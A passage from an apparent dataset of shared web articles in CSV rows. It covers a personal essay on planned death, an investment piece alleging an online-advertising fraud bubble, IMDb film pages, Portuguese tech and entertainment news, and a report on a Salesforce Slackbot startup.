days off work to say goodbye to a friend who's dying."" A strange reason, perhaps, and yet spending a couple of days together, slowly talking about life, knowing this is the last time we'll see each other... it feels as natural as cooking a meal with friends. I think ""euthanasia"" as a term has some problems. It's too easily hijacked by the ""death panel"" lunatic fringe who believe that pain and suffering is our destiny. Switch off your Internet and heating, you psychopaths, if that's what you really think. No, what they really mean is ""I claim the authority over others."" Let's use the term ""planned death,"" it is accurate. Planning our deaths. It may be a luxury for some, and for others, besides the point, yet for those like me who see the road ahead, I claim this to be an essential Human Right. How else can this all work? My children don't want or need to see me rot and fall apart. They don't want me to go away again, disappear into that machine called ""medicine."" Talk about a lifelong trauma. I can offer my children a model of control, careful organization, order out of chaos. It's what I've always taught them. Chaos is the default: do not wait for others to fix it. That's your responsibility: organize your world, take control. Not all doctors are willing to kill their patients. It is the first discussion I had with my new family doctor. ""Are you on board with the whole killing me when it's the right time thing?"" Sure, he said, your oncologist already asked me that before choosing me. Good man. We signed a contract and shook hands. My oncologist. I have to say, a wonderful woman. I joked with my sisters, when the tall male head oncologist visited me in my room, that I was grateful to finally see a real doctor. My sister, a doctor, pretended shock and outrage. In truth, my oncologist took me under her wings and pulled every string necessary to get me home in the best of conditions. A planned death is not a moment in time, like a car accident or a fatal stroke. It is a process. A social process that involves hundreds of people, each doing their part, grieving their loss, accepting their own mortality. I'm proud and immensely grateful to be able to experience this, and share it with you.",en
1462360368,CONTENT SHARED,-5820943153819992582,-2979881261169775358,-7008383890415842206,,,,HTML,https://kalkis-research.com/google-end-of-the-online-advertising-bubble,Google : End Of The Online Advertising Bubble,"Google's clients have no clue their ads are being displayed on worsening quality websites. A growing proportion of the ads are not being seen at all. Once they become aware of the fraud and embezzlement, Alphabet's growth story is over. Executive Summary The online advertising market is saturated, and has no more room to grow. The traditional space for ads is overcrowded, and has started to shrink, as Internet users start to use ad blockers. Ad placement companies have compensated by displaying ads on ever lower quality websites. Worse, they have led their clients into pay-per-display advertising instead of pay-per-click, much less efficient and difficult to track. As a result, online advertising efficiency has been decreasing for years, and companies have to spend more ad dollars for the same result. The process of ad placement has become ever more automated, obscure and complex, while intermediaries have multiplied, each taking a cut from the client's initial ad budget. Controls and regulations are nonexistent, and a big chunk of ad spending is being stolen, plain and simple. Customers are growing aware of the phenomenon of ad fraud. Every new fraud scandal bears the risk of customers scaling back on online ad spending. The whole ecosystem is at risk of turning from growth to decline, overnight, in a rerun of what happened in 2000-2001. When this happens, the smaller players will be wiped out. Alphabet/Google, who has 90% of its revenue coming from online advertising, will see its business scale back to the levels of 2010-2011, while its share price will crash to the $200-$250 area. Facebook on the other hand, has a better control of who is actually seeing its ads, and will benefit from the turmoil by gaining market share. Analysis The online advertising market is saturated, and available ad space is in decline Since 2011, while Google's revenues continued to grow, the average ad cost has declined. Larry Page described this while discussing the company's Q4 2011 results as ""a decline in ad quality"" (Chart 1) . More and more ads are being displayed, each one earning the company less and less. Websites have been invaded by click ads, display ads, and forced video ad views. Naturally, Internet users have grown sick and tired of this ad pollution, and have started installing ad blocking software (Chart 2) . What makes this trend worse is that users who install ad blockers first, tend to be the more sophisticated and the more affluent ones. This phenomenon has been exacerbated by Apple joining the party, and allowing third-party developers to sell ad blocking apps on its AppStore. This event has been widely covered by the media, publicizing the ad blocking movement (Chart 3) . The growth of online advertising has happened on subprime ad space, and customers have no choice but to take the industry's word that it's worth their money Ad placement has become extremely automated. The growth of ad exchanges, demand-side platforms, and programmatic buying (Charts 4 & 5) , has removed much of the need of human intervention in the process. User tracking enables advertisers to identify in real-time who is visiting any given website, and to match the visitor with an ad, instead of relying on the website's content to draw an approximate profile of who might be viewing the webpage. Automation has brought down the cost of deciding whether it's worthwhile to place an ad, and user tracking has made websites' content less relevant. It has become economical to place ads on low-end websites for cheap, because the marginal cost of placing an ad has become so low. This means that the growth of online advertising has happened on subprime ad space. The industry's argument is that it's still worth their customers money, thanks to algorithms that check everything about the user, his browsing history, the cookies on his browser, his hardware data. This is a compelling case, because the prime as space on the Internet (websites such as The Economist, the New York Times) are very expensive. However, customers paying for their ads to be displayed have practically no way of making sure their ads are being displayed to the right people. Moreover, the industry has been pushing for more advertising budgets to be allocated to ""display ads"", particularly on mobile, where Internet users click on ads much less than on desktops. The huge red flag with this practice is that customers have no means of knowing if their ad dollars are being spent efficiently. With pay-per-click, at least someone is coming to their website. With display ads, they are merely paying for exposure and such vague concepts as ""brand awareness"". It's not even clear if a visitor actually sees a ""display"" ad, and the industry is trying to set up a ""viewability"" standard for this type of ads. Currently, it is assumed that an ad has had a ""reasonable chance of having been viewed by the visitor, if at least 50% of its pixels were displayed on the visitor's browser for at least one continuous second"". This definition alone lets you understand how murky this type of advertising actually is. ""Display"" caught up with pay-per-click in 2015, and is projected to reach $32.2 billion in the US in 2016, vs $29.3 billion for PPC. The efficiency of online advertising has been in decline for years We have found five companies who provide some details about their online advertising budget: Ebay, Amazon, TripAdvisor, Expedia and Priceline. Combined, they have spent over $10 billion on online marketing in FY2015, mainly on digital ads. Their ROI of online advertising is declining: businesses need to spend more for every additional dollar of sale (Chart 6) . Since 2010, their online ad spending outgrew their online B2C sales. This is a general trend in e-commerce: Google's revenues are up 156% from 2010 to 2015, while online B2C sales roughly doubled. This is clearly not sustainable. The marketing departments of these online businesses are well versed in online ads, true insiders to the market, and even their advertising efficiency is declining. One can only imagine the dreadful returns for outsiders, companies like Verizon or Walmart. Very few companies are transparent in their ad spending, so it's impossible to really know what's going on in their marketing departments. The decline in bang for every ad dollar spent is proof that the expansion of online advertising is being done to the detriment of customers, in ever less productive campaigns. The ecosystem has become obscure, complex, and intermediaries are taking an ever bigger cut The automatization of ad placement has led to a complexification of the industry, with much more intermediaries. From a simple Client - Advertising Agency - Publisher relationship, we ended up with something like this (Figure 1) : Figure 1:Industry value chain The Client demands the Advertising Agency to run an ad campaign. The Agency tells its Trading Desk what kind of ad space to buy, according to the Client's requirements regarding its target consumer. The Trading Desk establishes a set of guidelines, and asks a Demand-Side Platform (DSP) to buy ad space according to these guidelines. DSPs are buying specialists, they run intelligent algorithms to pick the cheapest ad space relative to its quality. The DSP keeps tracking all the ad spots that come up for sale on Ad Exchanges, establishes the value of every one of them, and bids for the most relevant ones. It uses data from various data providers to come up with its valuations. The Ad Exchange is an open platform that enables websites to place their available ad space for anyone to buy in an auction. The websites themselves try to attract traffic. They receive traffic naturally, from ingoing links, search engine results, and returning visitors. However, they can also buy traffic from Traffic Brokers (for ex. Taboola and Outbrain, two "" content discovery platforms ""). N.B.: we have very much simplified the way things work. Advertising Agencies can still go directly to publishers, or use Ad Networks for various degrees of customization. We are dealing there with the ad placement system that has witnessed the highest rate of growth over the last years. Twenty years ago, the client could see his ads being displayed in the latest print edition of the New York Times, and know that his ads have been seen by the specific demographic of that particular newspaper. Today, its ads will be displayed on an alphabet soup of websites, and will be seen by a wide array of visitors. The Rubicon Project, an ad tech company, sums this up in its 10-K filing for FY2015: ""Due to the size and complexity of the advertising ecosystem and purchasing process, manual processes can no longer effectively optimize or manage digital advertising. [...] This has created a need to automate the digital advertising industry and to simplify the process of buying and selling advertising."" The customer has very little way to control and check if his advertising campaign is being done properly. He has to take the insiders' word for it. This obviously creates a perverse incentive for insiders to place the customer's ads on lower quality websites, and to show them to lower quality visitor profiles. Once again, the industry claims that its super-smart algorithms are making sure the customer's money is well spent. However, something seems very wrong in this system, and here's some insight. Look at what it costs Rocket Fuel, a DSP specialist, to buy ad space that it resells for $1 to the advertisers (Chart 7). This is just crazy. Rocket Fuel's revenue rose from $17 million in 2010 to $409 million in 2015, while its operating margin expanded, with fierce competition in the market. Are their algorithms that smart, or are they just placing ads on lesser quality, i.e. cheaper, i.e. subprime ad space, while reassuring clients that everything's fine? The automation of the process, and its complexification, has gradually removed transparency. The client who pays for his ads to be displayed, is hiring more and more intermediaries. Intermediaries are raising their margins, without the client really knowing. Moreover, the client is less and less aware of who is actually seeing the ads. Unless he specifically asks to have detailed reports on who has seen his ads, the intermediaries are free to show these ads to whoever they want, wherever they want. The websites themselves, by resorting to traffic brokers, are less aware of who their own visitors are. Content discovery platforms, such as Outbrain and Taboola, redirect traffic in new and unpredictable ways, and it's not really clear who or how is checking the traffic's quality. Traffic brokers' incentive is to generate as much traffic as possible, while the websites don't have the know-how to verify if this traffic is genuine. The big publishers themselves (Bloomberg, the Huffington Post) admit to buying traffic, although for "" small percentages of their overall traffic "". As long as nobody complains, everyone has an incentive not to question the system. There's a great deal of fraud, controls are non-existing, and customers are growing aware of it Technology makes it easy to buy ever cheaper ad space, with the rationalization that ""we're buying cheap stuff, but we're making sure it's worth the price, with artificial intelligence, machine learning and big data"". Without controls, we're bound to end up buying worthless things while pretending that they're valuable. Think of the subprime bubble: when everyone who could qualify for a mortgage got one, mortgage lenders started making loans to people who should never have qualified. Lesser incentives to control and account for the buying of ad space are leading to fraud, and the media is starting to report on the phenomenon (Chart 8) . TechCrunch reported in January 2016 that ad fraud could reach $8.2 billion in 2016. Clients are being deceived on the quality of people who are seeing their ads. ads are placed on ineligible websites (porn sites, illegal video streaming, fake or stolen content, pop-ups and zero-sized images). ads are being clicked and seen by fake visitors. Groups of professional ad clickers (""click farms"") in countries with low labor costs (India, Pakistan, Egypt) make it look like a lot of people are engaging the ads. Bots are simulating visitors, emulating browsers populated with high-quality cookies and human-like behavior (mouse movement, page scrolling). Independent studies have revealed that ad campaigns are polluted by fake clicks and bots. An experiment by the traffic quality verification startup Oxford BioChronometrics has shown that under certain circumstances, bot traffic generated by ads on Google, LinkedIn and Facebook may be as high as 90%. Bots can be highly evolved, emulating a human-like behavior, and virtually impossible to detect, rendering ad campaigns useless. ""Traffic arbitrage"", where an intermediary buys cheap (fake) traffic and resells it to traffic brokers or publishers, is virtually risk-free to the perpetrator. At worse, his account will be shut down. Google doesn't mention ""fraud"" even once in its SEC filings, but the smaller players, such as Rocket Fuel and Millennial Media, refer to it more than 15 times on average in their 10-K, as a risk factor. Google's operational stance is that its own customers should check the quality of the visitors its advertising platform is bringing in. Google has setup a form to claim a reimbursement for fraudulent traffic (if ever its customers were able to identify it, and prove that it was fraudulent), but makes no assurances as to how much it will actually pay back. The industry has a huge incentive to downplay and hide the extent of ad fraud, as it's very lucrative. There are only so many high-quality visitors on the Internet, and to really filter out low quality viewers would annihilate the market for subprime ad space. We've seen this before, at the end of the DotCom bubble We are living through the latest stages of the online advertising bubble, as available high-quality ad space is shrinking, leading to a decline ad space quality, and a decline of ad efficiency. Awareness for fraud is growing, and soon, clients will cut their online ad spending, and demand higher accountability. This will destroy the high-margin market of automated reselling worthless ad space, and will force advertisers to focus only on prime publishers, with expensive ad space. This is a re-run of the online advertising crash of the early 2000s, when the proliferation of banners and pop-ups destroyed any value these ads had (and led people to install pop-up killers, just like with ad blockers today). It took one Google to come up with contextual advertising to bring the market back to life. Roadmap & Playbook We estimate that the online advertising market has been artificially inflated since the end of 2013, and is much more mature than its pundits are claiming. 90% of Google's revenues come from advertising. We expect Alphabet's share price to go down by 75%. We get this number by revising its earnings down by 30%, stripping its 30x PE off its ""growth premium"" down to 15x, and factoring in the reputational damage. Other, nimbler ""ad tech"" players will be wiped out (Rocket Fuel, Millennial Media, Tremor Video, The Rubicon Project). A larger number of companies will be impacted, as a growing number of third-party tech giants are involved in the advertising play (Oracle, Amazon, Salesforce), and we expect the whole tech sector to be hard hit by the unwinding of the bubble. A special case must be made of Facebook, as we believe that their platform is harder to crack, and they have a better ability to track their users, and fight ad fraud. They will be the stepping stone for investing in online advertising, once the dust settles. Currently, January 2018 Alphabet puts with a strike of $400 are trading at around $8, for a 20x return should our scenario materialize. Awareness for fraud and the inefficiency of online ads grows past the point of no return over the next 2 years. The whole sector crashes as clients reduce spending and demand better reporting and transparency. Big companies cut their online ad spending without giving reasons. New scandals about ads being seen by robots. Growing penetration of ad blockers. Google & al. manage to somehow improve reporting and accountability without hurting their market share. They manage to convince clients that there's no reason to worry about the decline in ad quality and ROI. PR campaigns by the big players to explain how they are fighting fraud. Traffic quality verification startups are discredited (PR again). Apple reverses its stance on ad blocking. The bubble goes on, as the decline in advertising ROI leads clients to spend ever more in a struggle for an elusive presence online. By: Sarunas Barauskas, s.barauskas@kalkis-tech.com Philippe Gondard, p.gondard@kalkis-tech.com",en
1462364732,CONTENT SHARED,4917926779066818777,8676130229735483748,1142017227037902335,,,,HTML,http://www.imdb.com/title/tt0387898/,Hidden (Caché) (2005),"26 wins & 32 nominations. See more awards "" Storyline Set in France, Georges is a TV Literary Reviewer and lives in a small yet modern town house with his wife Ann, a publisher and his young son Pierrot. They begin to receive video tapes through the post of their house and family, along side obscure child-like drawings. They visit the police with hope of aid to find the stalker, but as there is no direct threat, they refuse to help. As the tapes become more personal, Georges takes it upon himself to figure out who is putting through his family through such horror. A true Michael Haneke Classic. Written by Jodie Norton Details Release Date: 17 February 2006 (USA) Also Known As: Caché (Hidden) Box Office Budget: €8,000,000 (estimated) Opening Weekend: $925,023 (France) (7 October 2005) Gross: $3,634,407 (USA) (28 April 2006) Company Credits Technical Specs See full technical specs "" Did You Know? Goofs During the tape where Georges pulls up in his car and parks at night the headlights clearly cast a huge distinct shadow of the camera on the wall. See more "" Quotes Georges Laurent : Isn't it lonely, if you can't go out? Georges's Mom : Why? Are you less lonely because you can sit in the garden? Do you feel less lonely in the metro than at home? Well then! Anyway, I have my family friend... with remote control. Whenever they annoy me, I just shut them up. See more "" Crazy Credits The opening credits appear over a shot of the husband and wife's house, but they appear one by one and in rows. By the time the credits are over they are all shown together, much like they would on a poster or in the credits section of a movie trailer. See more "" Connections References Mariages! (2004) See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462364928,CONTENT SHARED,5232169374213306041,8676130229735483748,1142017227037902335,,,,HTML,http://www.imdb.com/title/tt0166924/,Mulholland Drive (2001),"Nominated for 1 Oscar. Another 46 wins & 54 nominations. See more awards "" Storyline A bright-eyed young actress travels to Hollywood, only to be ensnared in a dark conspiracy involving a woman who was nearly murdered, and now has amnesia because of a car crash. Eventually, both women are pulled into a psychotic illusion involving a dangerous blue box, a director named Adam Kesher, and the mysterious night club Silencio. Written by Anonymous Taglines: An actress longing to be a star. A woman searching for herself. Both worlds will collide...on Muholland Drive. Details Release Date: 19 October 2001 (USA) Also Known As: Mulholland Drive Box Office Budget: $15,000,000 (estimated) Opening Weekend: $587,591 (USA) (12 October 2001) Gross: Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Naomi Watts actually lost her health insurance and faced eviction from her apartment shortly after filming wrapped. Watts was ready to quit acting and leave Los Angeles, but close friend Nicole Kidman talked her into staying until after this film was released. See more "" Goofs The Sony-brand telephone that Betty and Rita use to call Diane Selwyn has separate buttons for 'on' and 'off' functions. However, Betty presses the 'on' button to turn the phone off following the call. See more "" Quotes Crazy Credits In the credits to Mulholland Dr., actor Chad Everett is mistakenly listed as playing Jimmy Katz; the name of Everett's character is actually Woody Katz. See more "" Connections References Blow-Up (1966) See more "" Soundtracks Sixteen Reasons Written by Doree Post and Bill Post Performed by Connie Stevens Courtesy of Warner Bros. Records Inc. By Arrangement with Warner Special Products See more "" User Reviews Message Boards Recent Posts",en
1462365116,CONTENT SHARED,-614408900691920886,-2623844842607044962,6852001029127498038,,,,HTML,http://omelete.uol.com.br/filmes/noticia/x-men-sao-paulo-vai-receber-exposicao-sobre-filmes-da-saga/,X-Men | São Paulo vai receber exposição sobre filmes da saga,"A Fox anunciou que o Brasil vai receber a exposição X-Men Filmes EXPO , evento que trará vários figurinos e objetos utilizados durante os filmes. O evento começa em 17 de maio, no MIS (Museu da Imagem e do Som de São Paulo), comemorando a estreia de X-Men: Apocalipse , que acontece no dia 19 do mesmo mês. A exposição terá painéis interativos, as garras do Wolverine, o visor original do Ciclope, o capacete do Professor Xavier, entre vários outros itens. A entrada é gratuita e permanece no espaço até o dia 3 de julho. O horário de funcionamento é de terça a sábado, das 12h às 21h e domingos e feriados das 11h às 20h. A lotação do espaço é de 50 pessoas. Serviço - X-Men Filmes Expo Museu da Imagem e do Som Av. Europa, 158 - Jardim Europa - São Paulo. Telefone: (11) 2117-4777 O novo longa passará em 1983 e também terá o retorno de Magneto ( Michael Fassbender ) e Fera ( Nicholas Hoult ). Rose Byrne voltará como Moira MacTaggert. Lana Condor será Jubileu. O filme também pode contar com a participação de Halle Berry (Tempestade). O Omelete visitou o set do filme e descobriu vários segredos - leia aqui . Leia mais sobre X-Men: Apocalipse",pt
1462365206,CONTENT SHARED,3801064060797809024,8676130229735483748,1142017227037902335,,,,HTML,http://www.imdb.com/title/tt0033729/,How Green Was My Valley (1941),"Storyline Life is hard in a Welsh mining town and no less so for the Morgan family. Seen through the eyes of the family's youngest, Huw, we learn of the family's trials and tribulations. Family patriarch Gwilym and his older sons work in the mines, dangerous and unhealthy as it is. Gwilym has greater hopes for his youngest son, but Huw has his own ideas on how to honor his father. Daughter Angharad is the most beautiful girl in the valley and is very much in love with Mr. Gruffydd, who isn't sure he can provide her the life she deserves. Times are hard and good men find themselves out of work and exploited by unseen mine owners. Written by garykmcd Taglines: Millions Have Read This Great Novel... Millions more will see an even greater picture! Details Release Date: 9 April 1942 (Australia) Also Known As: Richard Llewellyn's How Green Was My Valley Box Office Budget: $1,250,000 (estimated) Company Credits Technical Specs Sound Mix: Mono (Western Electric Mirrophonic Recording) See full technical specs "" Did You Know? Trivia The author of the novel, Richard Llewellyn had claimed to have based the book on his own knowledge of the Gilfach Goch area, but this was proven false, as Llewellyn was English-born and spent little time in Wales. As it turned out, he had actually gathered his facts from conversations with local mining families. See more "" Goofs Although a good effort is putting into making the locations look Welsh, the Southern California mountains sometimes seen in the background are too high for South Wales. See more "" Quotes Mr. Gruffydd : I know why you have come - I have seen it in your faces Sunday after Sunday as I've stood here before you. Fear has brought you here. Horrible, superstitious fear. Fear of divine retribution a bolt of fire from the skies. The vengeance of the Lord and the justice of God. But you have forgotten the love of Jesus. You disregard His sacrifice. Death, fear, flames, horror and black clothes. Hold your meeting then, but know if you do this in the name of God and in the house of God, you blaspheme ... See more "" Connections Referenced in House M.D.: Private Lives (2010) See more "" Soundtracks I Saw a Tiny Streamlet (uncredited) Music by Owain Alaw (aka John Owen) See more "" User Reviews Message Boards Recent Posts",en
1462365269,CONTENT SHARED,-8686523832043452855,8676130229735483748,1142017227037902335,,,,HTML,http://www.imdb.com/title/tt0042192/,All About Eve (1950),"Storyline Eve is waiting backstage to meet her ""idol"" aging Broadway Star, Margo Channing. It all seems innocent enough as Eve explains that she has seen Margo in EVERY performance of the current play she is in. Only Playright critic DeWitt sees through Eve's evil plan, which is to take her parts and fiance. When the fiance shows no interest, she tries for Celeste Holmes husband and playwright. But, DeWitt (George Brandt) stops her. After she accepts her award, she decides to skip the after-party and goes to her room, where we find a young woman named Phoebe, who snuck into her room and fell asleep. This is where the ""Circle of Life"" now comes to fruition as Eve is going to get played the way she did Margo. Taglines: It's all about women---and their men! Details Release Date: 15 January 1951 (Sweden) Also Known As: Best Performance Box Office Budget: $1,400,000 (estimated) Opening Weekend: $10,177 (USA) (6 October 2000) Gross: $10,177 (USA) (6 October 2000) Company Credits Technical Specs Sound Mix: Mono (Western Electric Recording) See full technical specs "" Did You Know? Trivia ""Applause"" (the Broadway musical version starring Lauren Bacall ) opened at the Palace Theater on March 30, 1970 and ran for 896 performances. See more "" Goofs In the Cub room, after Eve has returned from her restroom talk with Karen, Addison DeWitt is tapping his cigarette into the ashtray. The cigarette falls off from the holder. He continues tapping until he realizes it fell off and then he attempts to hide the holder behind his hands. See more "" Quotes Margo Channing : As it happens, there are particular aspects of my life to which I would like to maintain sole and exclusive rights and privileges. Bill Sampson : For instance what? Margo Channing : For instance: you! See more "" Crazy Credits Eddie Fisher is credited in the cast as 'Stage Manager,' although all of his scenes were cut from the released print. This is not the the singer Eddie Fisher, but another actor. See more "" Connections Referenced in Clueless (1995) See more "" Soundtracks Thou Swell (1927) (uncredited) Music by Richard Rodgers Played on the piano at the party when Margo tells her friends to fasten their seat belts See more "" User Reviews Message Boards Recent Posts",en
1462365650,CONTENT SHARED,1107739178195154647,-9016528795238256703,7668659579094487714,,,,HTML,http://3dfila.com.br/pecas-translucidas-transparente/,Peças Translúcidas,"Parabéns! Você é então mais um usuário do nosso Filamento ABS Cristal Quartzo campeão! Por onde começar? Qual é a diferença para o ABS opaco? Consigo imprimir peças transparentes ou translúcidas de verdade? Estas são perguntas comuns e neste artigo pretendemos dar um ""ponta pé"" inicial em suas impressões 3D. Começamos com um pouco de teoria: Talvez você se lembre das aulas de física sobre um dos fenômenos que podemos observar sobre a luz, a chamada refração. A refração é o fenômeno que ocorre com a luz quando ela passar de um meio homogêneo e transparente para outro meio também homogêneo e transparente, porém diferente do primeiro. Nessa mudança de meio, podem ocorrer mudanças na velocidade de propagação e na direção de propagação. Meio homogêneo : é o meio no qual todos os pontos apresentam as mesmas propriedades físicas, como a densidade, pressão e temperatura. Meio transparente : é o meio através do qual podemos visualizar nitidamente os objetos. A impressão 3D FDM funciona através da deposição de camadas de materiais, portanto, a luz muda de meio entre as camadas de material translúcido. Desta forma, a nossa percepção de translucidez, ou a visualização de nitidez de objetos é afetada. Para conseguir melhores resultados, então, devemos reduzir esta mudança de meios, ou camadas. Como? Vamos a alguns exemplos: Aumentar a espessura das camadas Trabalhar a espessura de parede na etapa de fatiamento ou projeto. No exemplo abaixo, imagine uma vista superior em que a luz precisa mudar de meio 1 ou 2 vezes: Aproveite e veja abaixo a representação de como se comporta a alteração da espessura de parede através do chamado ""extrusion width"": Geometria simplificada em locais que se deseja maior translucidez. Veja abaixo exemplos em que mais uma vez, uma menor quantidade de mudanças de meios para a passagem de luz oferece maior a transparência: Como já se pode perceber, sim, é possível imprimir peças translúcidas, no entanto dependerá do projeto e configurações de fatiamento. Outras recomendações: Trabalhe com temperaturas inferiores à do nosso tradicional ABS. Uma boa impressão deverá ser alcançada em torno de 210 graus celsius. Mas não deixe de calibrar a sua impressora, testando impressões com temperaturas variando alguns graus para cima ou para baixo. Temperaturas muito altas farão com que sua peça perca a translucidez, ficando esbranquiçada. Diminua a temperatura de extrusão. Peças pequenas ou velocidades muito altas poderão fazer com que o bico extrusor passe pelo mesmo ponto antes do momento adequado, desta forma o local poderá obter uma cor amarelada, resultado do aquecimendo excesivo. Recomenda-se calibrar a temperatura de extrusão, ajuste de velocidade ou impressão de peças simultâneas. Abaixo demonstramos exemplos extremos, entre uma peça de parede única e uma segunda peça trabalhada, com obstáculos ou maiores mudanças de meio para a luz:",pt
1462366048,CONTENT SHARED,-5444306124868253918,3915038251784681624,4491905082782310659,,,,HTML,http://cio.com.br/gestao/2016/05/04/por-que-os-ceos-devem-apostar-grande-no-digital-ou-voltar-pra-casa/,Por que os CEOs devem apostar grande no digital (ou voltar pra casa) - CIO,"Os CEOs não estão suscetíveis em reduzir os gastos em tecnologia em face ao enfraquecimento da economia, pois entendem que não podem se dar ao luxo de não oferecer iniciativas de negócios digitais, atraentes e cruciais, para atender seus clientes, aponta o novo estudo da Gartner. Isso é uma boa notícia para os CIOs que estão acostumados a ver budgets barrados por disputas políticas, queda do PIB e outros fatores macro que impactam negativamente o negócio. ""Aqueles CEOs que enxergam que o futuro digital está inexoravelmente acontecendo vão proteger suas iniciativas digitais e cancelar ou cortar outras despesas e custos"", afirma Mark Raskino, que pesquisou 400 líderes de negócios, incluindo CEOs e CFOs de companhias com faturamento anual de US$ 1 bilhão para o estudo "" 2016 CEO Survey: The Year of Digital Tenacity "" Carros sem motoristas, blockchain e a Internet das Coisasm podem fazer com que as empresas não sejam reconhecíveis daqui cinco anos. Reconhecendo o ritmo da mudança e acelerando os resultados, muitos CEOs estão fazendo da digitalização do negócio muito mais do que apenas uma competência da TI, depois de anos tratando tecnologia como commodity. Os CEOs esperam agora que a tecnologia incremente o bottom line. De fato, 84% dos executivos seniors pesquisados, dizem esperar que a mudança digital resulte em altas margens de lucros. ""Uma explicação para a atitude otimista dos CEO's frente à mudança digital, porque eles podem ver como isso ajuda com a inovação do produto, que é o que interessa para o cliente,"" conta Raskino. Isso é sobre clientes (e funcionários) Raskino,que conduziu esse estudo no quarto trimestre de 2015, pediu aos CEOs para listar as maiores prioridades deles. Crescimento ficou no topo da lista, com 54% de respostas citando o crescimento como o objetivo principal da companhia, a mesma porcentagem da pesquisa realizada no ano anterior. No entanto, ""clientes"" teve 31% de citações como a segunda maior prioridade, frente a 21% na pesquisa anterior. Foco no desenvolvimento da força de trabalho foi citada em 27% das respostas, também mais do que no ano anterior (24% de citações). Raskino diz que os CEOs reconhecem que a experiência do cliente deve ser melhorada. O que na opinião do consultor é mais um sinal do quanto o conflito econômico é o foco dos CEOs. Ele adverte aos CEOs que o staff de desenvolvedores de produtos e serviços tem que estar engajado com ferramentas de inovação, como ""design thinking"", para a construção das melhores experiências digitais possíveis. Os CEOs devem pedir aos desenvolvedores de produto (ou aos técnicos mais criativos) para que classifiquem características que imaginem ser aquele algo mais (um plus) para a experiência digital do cliente, capaz de encantá-lo. Vem da rede Starbucks um bom exemplo. O aplicativo mobile da companhia teve muito sucesso , que teve mais de 17 milhões de usuários no mundo. O principal serviço da rede, amplamente conhecido, o de servir café, foi incrementado ao dar ao cliente a opção de pedir e pagar pelo café diretamente do aplicativo. Mas as companhias não podem bem servir os clientes sem um talento em casa, então a Gartner adverte aos CEOs que deem poder aos seus funcionários. E isso vale tanto para aqueles que desenvolvem produtos digitais como também aqueles para os que atendem diretamente o cliente na linha de frente. O CEO deve discutir com o head de RH e com o CIO como a tecnologia, assim como a força de trabalho e as pessoas mais analíticas, podem ajudar a criar novas ideias e cultivar novas capacidades, acelerar recrutamentos e desenvolver qualidade para os candidatos. Raskino também recomenda que os CEOs criem times ninja, que podem incluir consultores externos para mapear e explorar a produtividade da força de trabalho e descobrir como ele se vincula ao negócio digital. CIOs assumem 'agenda de definição de papeis"" Assim como os CEOs trabalham para melhorar a relação dos clientes com a força produtiva de trabalho, os CIOs têm a oportunidade de reforçar suas posições. Há poucos anos atrás os CIOs eram vistos como um centro de custo, um passivo cuja função primária era assegurar o sistema financeiro e a operacionalizar o data center. Mas os CEOs, acostumados com o mundo analógico, estão ficando desconfortáveis com o mundo digital. Então, delegam essa tarefa para o CIO, cujos papeis começam a envolver desde o gerenciamento do back office de TI até posições estratégicas de liderança. ""Os CEOs agora entendem que o negócio digital é substancial para justifica-los pessoalmente. Raskino diz: ""Se eles delegarem responsabilidades primarias, então o próximo líder será o CIO"". E como o CEO lida bem com a gestão para a transição digital, o CIO oferece ajuda para comunicar os valores digitais para os gestores de RH, desenvolvedores de produtos, vendas, jurídicos e líderes de gerenciamento de crise ""O papel do CIO é estar mais envolvido com a agenda de definição de papeis,"" enfatiza Raskino. O consultor do Gartner também pede cautela para CEOs e CIOs. Se as condições econômicas se deteriorarem, as companhias podem voltar a ter comportamentos ""à velha TI"", incluindo diminuição ou interrupções de aprovações de budget, pressão para economizar custos com projetos de software e desenvolvimento cruciais para a geração de receitas. Raskino diz que os CEO's e CIO's precisam lutar contra essa tentação a pensar nessa analogia: ""Tente usar um modelo lento e econômico em uma pista de corrida, dirigindo no limite máximo, mas um pouco mais agressivo e rápido que seus competidores"", finaliza.",pt
1462368560,CONTENT SHARED,-7564053678326007415,-1443636648652872475,43810852945857874,,,,HTML,http://venturebeat.com/2016/05/04/chatbots-for-work-troops-raises-2-6m-for-a-slackbot-to-help-you-use-salesforce/,Chatbots for work: Troops raises $2.6M to help you use Salesforce,"Troops.ai , a Slackbot (or ""app,"" as Slack prefers it), is launching today to tie Salesforce CRM data to Slack - meaning salespersons can use a digital assistant to help them do what every salesperson I know hates - yanking data in and out of Salesforce. The startup is also announcing a $2.6 Million seed round led by First Round Capital. Wherever you sit on the ' to bot or not to bot ' argument, there are three compelling certitudes: 1. Most chatbots today are a square peg/round hole experimentation. 2.) A bad service paired with a bot particularly bad. 3.) Dozens of bot developer platforms are emerging - the experimentation will go on - and it's completely worth it. Bots for tightly defined use cases will work if they're designed well. Flowers bot or order-an-Uber bot might not solve that many problems right now. Inside sales bot totally does. Bots for business will work. Why? Troops-bot, in particular, solves a pressing need. There's a ton of companies out there to help salespeople be better salespeople. Whether that's productivity tools, content tools, contact augmentation tools, predictive pipeline management tools - the list goes on. I like to think simple problems call for simple solutions. The problem in this case is using Salesforce with some semblance of consistency. Salesforce is a revolutionary and powerful tool - but remembering to use it the right way every time is hard. Who likes logging calls? Or worse, using the mobile app? Co-founder and CEO Dan Reich writes on the Troops blog about the evolution of CRM in the cloud, ""As time went on, our computers became smaller and so software developers all over the world tried to pack a ton of functionality into a little screen by simply making those same field and forms smaller. If you ask most people today who rely on this software to do their jobs, they'll tell you the experience isn't exactly enjoyable."" I'm inclined to agree with him, and I'd argue most sales people do too. I caught up with Reich to figure out why his bot is different than the noise out there. He has a clear understanding of what his bot should and shouldn't do. ""I think the word ""bot"" means different things to different people. I don't believe a pure conversational-only experience is the best experience for many use cases. I also don't think fields, forms, buttons and boxes are the right experience either. There is a balance. Generally, I'm bullish on this idea that rich experiences, for the consumer and for the enterprise, will happen within a conversational platform. WeChat is Exhibit A for this success in action."" While WeChat actually isn't a gold standard bot-topia some pundits are making it out to be (really, most of the bots on WeChat have failed) - where it wins is becoming a mobile operating system by which text, conversations, payments, offline experiences, appointments - really anything you do in a standalone app gets shrunken down into a web view in WeChat. That's why it's successful. It's an operating system. For Troops, Slack is the operating system. Salesforce is the application. Troops in the interface. Make sense? I love Amir Shevat's tidy bot definition . He says, ""Bots are digital users within a messaging product. Unlike most users, they are powered by software rather than by a human , and they bring a product or service into a given messaging product via the conversational interface."" Bots are new and exciting because they function where most people are today - in messaging apps. ""Messaging is inherently mobile. It is literally the most common digital behavior on earth and we think the future of CRM is messaging too,"" Reich said. 'Most common digital behavior on earth' 